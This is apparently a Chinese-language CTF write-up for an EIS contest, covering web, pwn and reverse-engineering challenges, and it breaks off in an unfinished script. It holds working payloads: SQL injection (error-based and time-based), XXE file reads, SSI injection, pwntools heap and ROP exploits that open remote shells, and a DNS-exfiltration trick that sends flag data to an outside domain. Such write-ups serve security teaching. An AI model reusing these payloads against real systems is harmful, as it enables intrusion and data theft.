Error-based 注入,通过错误信息获得flag。
PoC如下:
curl -X POST \
http://bbs.sec.zju.edu.cn/index.php/login/valid \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Postman-Token: 9a5f4151-4ff2-4366-bde2-94d3f0ff72a7' \
-H 'cache-control: no-cache' \
-d 'username=qweqwe'\''%20OR%20(SELECT%205979%20FROM(SELECT%20COUNT(*)%2CCONCAT(0x7176626271%2C(SELECT%20%0A%20flag%20from%20flag)%2C0x716b716b71%2CFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20fsUE&password=qweqwe&undefined='
EIS{7879f0a27d8bcfcff0bcc837d7641e81}
strings 命令获得 flag.wasm 中的两个关键字符串 ABCDEFG.....
和 aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA=
,猜测是base64码表与编码后的flag,解码后长度为38,与WASM逆向后对字符串长度判断相符。
对wasm分析,其中_check
函数中对输入字符存在逐个加3的操作,猜测为此方法处理flag,对获得的base64解码,逐位减3获得flag。
>>> for c in 'aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA='.decode('base64'):
... print chr(ord(c)-3),
...
f l a g { 1 1 e 0 6 0 a 2 c e 1 8 b 7 6 e 3 f 2 6 5 c 4 6 5 8 d a 9 1 e c }
阅读源码发现UserController.java
中解析参数时,使用了 @XBRead
,则可解析XML并回显。
构造 XXE payload 获得flag。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<name>&xxe;</name>
与 SimpleExtensionExplorerInjection
中相同,使用XXE poc: file:///
列出根目录,获取第二个flag的文件名,并读取。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///" >
]>
<name>&xxe;</name>
EIS{f501e9c5323c560b0a40192ce9b7ad38}
出题人提示了SSI
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
http://httpd.apache.org/docs/current/howto/ssi.html
http://210.32.4.22/index.php?name=%3C%21--%23include%20virtual%3D%22flag%22%20--%3E
二次注入
import requests
import time
import string
def sqli(payload):
start_time = time.time()
session = requests.Session()
register_url = "http://210.32.4.20/register.php"
data = {
'username': payload,
'password': "123"
}
session.post(register_url, data=data, allow_redirects=False)
login_url = "http://210.32.4.20/login.php"
session.post(login_url, data=data, allow_redirects=False)
answer_url = "http://210.32.4.20/answer.php"
data = {
"1.b": "on"
}
http_content = session.post(answer_url, data=data, allow_redirects=False).content
# print http_content[http_content.find('alert'):http_content.find('alert')+100]
run_time = time.time() - start_time
return run_time
sqli_payload = "dubhexxxdubhe5' or if(ord(substr((select flag from flag), %d, 1))=%d, sleep(0.005), 0) -- n"
flag = 'EIS{397ea47dcc07dd2abdffc5b16c9026f5}'
for i in range(50):
for char in string.printable:
payload = sqli_payload % (len(flag) + 1, ord(char))
t = sqli(payload)
print char, t
if t > 1:
flag += char
print flag
break
这题可以利用dns递归查询,来将flag传输到权威服务器上面(感谢Dlive师傅给的域名)
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def call(r12, rdi, rsi ,rdx):
shellcode = p64(0x4012AA) + p64(0) + p64(1) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi)
shellcode += p64(0x401290) + p64(0) * 7
return shellcode
def add(p, l, hostname):
p.recvuntil('Select:\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline(str(l))
p.sendline(hostname)
def do(p, index):
p.recvuntil('Select:\n')
p.sendline('2')
p.recvuntil('index: \n')
p.sendline(str(index))
def delete(p, index):
p.recvuntil('Select:\n')
p.sendline('3')
p.recvuntil('index: \n')
p.sendline(str(index))
def edit(p, index, data):
p.recvuntil('Select:\n')
p.sendline('4')
p.recvuntil('index: \n')
p.sendline(str(index))
p.sendline(data)
def getflag(ip, port, debug, index):
if debug == 1:
p = process('./dns_of_melody')
gdb.attach(p, 'b *0x401246\nc')
else:
p = remote(ip, port)
add(p, 100, 'aaaaaaaaaaaaaaa')
add(p, 100, 'a.zptvs7.ceye.io')
add(p, 100, './flag')
do(p, 0)
p.recvuntil('Unknown host!')
edit(p, 0, '\x00' * 0x1A0 + p64(0) + call(0x0601FE8, 0x602368, 0, 0) + call(0x601FB8, 0, 0x6021e4 - index, index + 1) + call(0x601FD0, 0x6021e4 - index, 0, 0))
# p.interactive()
def GameStart(ip, port, debug):
flag_len = 25
getflag(ip, port, debug, flag_len - 1)
# for i in range(flag_len):
# getflag(ip, port, debug, i)
# time.sleep(0.5)
if __name__ == '__main__':
GameStart('210.32.4.15', 13374, 0)
思路和pwnable.kr的unlink一致,通过修改栈上的值劫持栈帧(main函数ret前的逻辑)到堆上(堆地址已知)。利用两次泄漏可以获得libc的基地址和栈地址。
exp
# coding=utf-8
from pwn import *
def pwn():
BIN_PATH = './hack'
DEBUG = 0
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('210.32.4.16', 13375)
elf = ELF(BIN_PATH)
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'
p.recvuntil('input address: ')
p.sendline(str(elf.got['puts']))
p.recvuntil(str(elf.got['puts']) + ', ')
recv = p.recvuntil('\n')
libc.address = int(recv, 16) - libc.symbols['puts']
print hex(libc.address)
#gdb.attach(p, gdbscript='b *0x80486ff')
p.recvuntil('Second chance: \n')
p.sendline(str(libc.symbols['__environ']))
p.recvuntil(', ')
recv = p.recvuntil('\n')
stack_address = int(recv, 16)
print hex(stack_address)
raw_input()
p.recvuntil('The address of the node is ')
recv = p.recvuntil(', ', drop=True)
heap_addr = int(recv, 16)
ecx_address = stack_address - (0xfff84ddc - 0xfff84d3c)
target_address = stack_address - (0xffb3d93c - 0xffb3d884)
print hex(ecx_address)
if DEBUG == 1:
one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
else:
one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819]
#payload = p32(heap_addr) + p32(heap_addr) + p32(heap_addr - 0xc) + p32(stack_address - 0x8)
payload = p32(libc.address + one_gadget[3]) + p32(heap_addr + 12) + p32(heap_addr + 0x4) + p32(target_address - 0x8)
p.recvuntil('fake node now: ')
p.send(payload)
p.interactive()
p.close()
if __name__ == '__main__':
pwn()
flag:EIS{d2954e2d38bf6b2ed3ebfead7bb6cd33}
堆溢出,在插入的时候,输入最小的负值可以造成堆溢出
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def add(p, lgth, note):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('note: ')
p.sendline(str(lgth))
p.recvuntil('note: ')
p.sendline(note)
def delete(p, idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('note: ')
p.sendline(str(idx))
def edit(p, idx, note):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('note: ')
p.sendline(str(idx))
p.recvuntil('note: ')
p.sendline(note)
def HouseOfOrange(head_addr, system_addr, io_list_all_addr):
exp = '/bin/sh'.ljust(8, '\x00') + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
exp += p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
exp += p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return exp
def GameStart(ip, port, debug):
if debug == 1:
p = process('./justnote', env = {'LD_PRELOAD' : './libc6_2.23-0ubuntu10_amd64.so'})
# gdb.attach(p)
else:
p = remote(ip, port)
add(p, -9223372036854775808, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
add(p, -9223372036854775808, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
add(p, -9223372036854775808, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
delete(p, 1)
delete(p, 3)
edit(p, 0, '\x00' * 0x108 + '\x13')
add(p, 100, 'a' * 8)
p.recvuntil('a' * 8)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00'))
log.info('heap addr is : ' + hex(heap_addr))
edit(p, 2, '\x00' * 0x108 + '\x13')
add(p, 100, '')
p.recvuntil('out: ')
libc_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x3c4b78
log.info('libc addr is : ' + hex(libc_addr))
delete(p, 5)
edit(p, 4, '\x00' * 0x100 + HouseOfOrange(heap_addr + 0x110 * 2, libc_addr + 0x45390, libc_addr + 0x3c5520))
p.recvuntil('choice: ')
p.sendline('1')
p.interactive()
if __name__ == '__main__':
GameStart('210.32.4.17', 13376, 0)
大佬发现是逐字节验证,侧信道打之
from pwn import *
table = '_abcdefghijklmnopqrstuvwxyz{} ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`|~0123456789'
pin = '/home/echo/Tools/pin-3.5/pin'
binary = '/home/echo/1ctf/yws/hideandseek'
#binary = 'C:\\Users\\echo\\Desktop\\task\\rc4\\simple_rc4.exe'
dll = '/home/echo/Tools/pin-3.5/source/tools/ManualExamples/obj-intel64/inscount0.so'
def getCount(flag):
p = process([pin,'-t',dll,'--',binary])
p.sendline(flag)
p.recvline()
p.recvline()
base = int(p.recvline().split(' ')[1].strip('\r\n'))
p.close()
return base
# print getCount('1')
# print getCount('E')
# print getCount('EI')
# '''
ans = 'EIS{you_should_go_for_nascondino_world_c'
flag = list(ans)
for i in range(32):
flag.append('\x00')
# print flag
# '''
base = getCount(''.join(flag))
print flag
for j in range(len(ans),70):
print '-------------------Round %d-------------'%j
for i in table:
flag[j] = i
data = getCount(''.join(flag))
print i,data
if data > base+100:
print 'getc',i,''.join(flag)+i
if i=='}':
print ''.join(flag)
exit(0)
base = data
break
print ''.join(flag)
# '''
flag : EIS{you_should_go_for_nascondino_world_championship}
隐藏了主要逻辑,pin追踪发现执行到了eh_frame的位置。
.eh_frame:0000000000400790 sub_400790 proc near
.eh_frame:0000000000400790 movaps xmm0, xmmword ptr cs:flag
.eh_frame:0000000000400797 movaps xmm1, xmmword ptr cs:flag+10h
.eh_frame:000000000040079E movaps xmm2, xmmword ptr cs:_start
.eh_frame:00000000004007A5 movaps xmm3, xmmword ptr cs:unk_400540
.eh_frame:00000000004007AC movaps xmm4, xmmword ptr cs:unk_400550
.eh_frame:00000000004007B3 movaps xmm5, xmmword ptr cs:deregister_tm_clones
.eh_frame:00000000004007BA movaps xmm6, xmmword ptr cs:loc_400570
.eh_frame:00000000004007C1 movaps xmm7, xmmword ptr cs:loc_400580
.eh_frame:00000000004007C8 movaps xmm8, xmmword ptr cs:loc_400590
.eh_frame:00000000004007D0 movaps xmm9, xmmword ptr cs:register_tm_clones
.eh_frame:00000000004007D8 aesenc xmm0, xmm2
.eh_frame:00000000004007DD aesenc xmm0, xmm3
.eh_frame:00000000004007E2 aesenc xmm0, xmm4
.eh_frame:00000000004007E7 aesenc xmm0, xmm5
.eh_frame:00000000004007EC aesenc xmm1, xmm6
.eh_frame:00000000004007F1 aesenc xmm1, xmm7
.eh_frame:00000000004007F6 aesenc xmm1, xmm8
.eh_frame:00000000004007FC aesenc xmm1, xmm9
.eh_frame:0000000000400802 movaps xmmword ptr cs:flag, xmm0
.eh_frame:0000000000400809 movaps xmmword ptr cs:flag+10h, xmm1
.eh_frame:0000000000400810 xor rcx, rcx
.eh_frame:0000000000400813 lea rdi, byte_400840
.eh_frame:000000000040081B lea rsi, flag
.eh_frame:0000000000400822
.eh_frame:0000000000400822 loc_400822: ; CODE XREF: sub_400790+A5↓j
.eh_frame:0000000000400822 mov al, [rdi+rcx]
.eh_frame:0000000000400825 cmp al, [rsi+rcx]
.eh_frame:0000000000400828 jnz flag_wrong
.eh_frame:000000000040082E inc rcx
.eh_frame:0000000000400831 cmp rcx, 20h
.eh_frame:0000000000400835 jnz short loc_400822
.eh_frame:0000000000400837 jmp flag_correct
追着aesenc调了半天aesdec,解密一直不对,不明觉厉,自己复现aesenc
AES_SubBytes(state);
AES_ShiftRows(state);
AES_MixColums(state);
AES_AddRoundKey(ekey+i*16, state);
验证发现结果正确,实现解密算法
AES_AddRoundKey(ekey+(7-i)*16, state+16);
AES_InvMixColums(state+16);
AES_InvShiftRows(state+16);
AES_InvSubBytes(state+16);
解密得到flag : eis{the_fact_beyond_the_future}
切片获得字符,标注后脚本识别。
#nc 210.32.4.14 13373
import hashlib
import time
alphabet = {'a5b42b1a1110ce927bb044ce85fb79f00f373a67': '1', '3af9e778b44cd054b3f5b781e54c50aace6e35b4': 't', '74718b6ed09bf13f46c32a234fed88e8d10bd925': 'd', '082ae500cf64515a38a9955c04fc1d3a1811bfd3': 'c', '5ab8693b6200afad741ee53bfdcf266aa24dafbb': 'p', 'afc5e6adf5a9cc0b58e6ac7c178eae07df1b72b1': <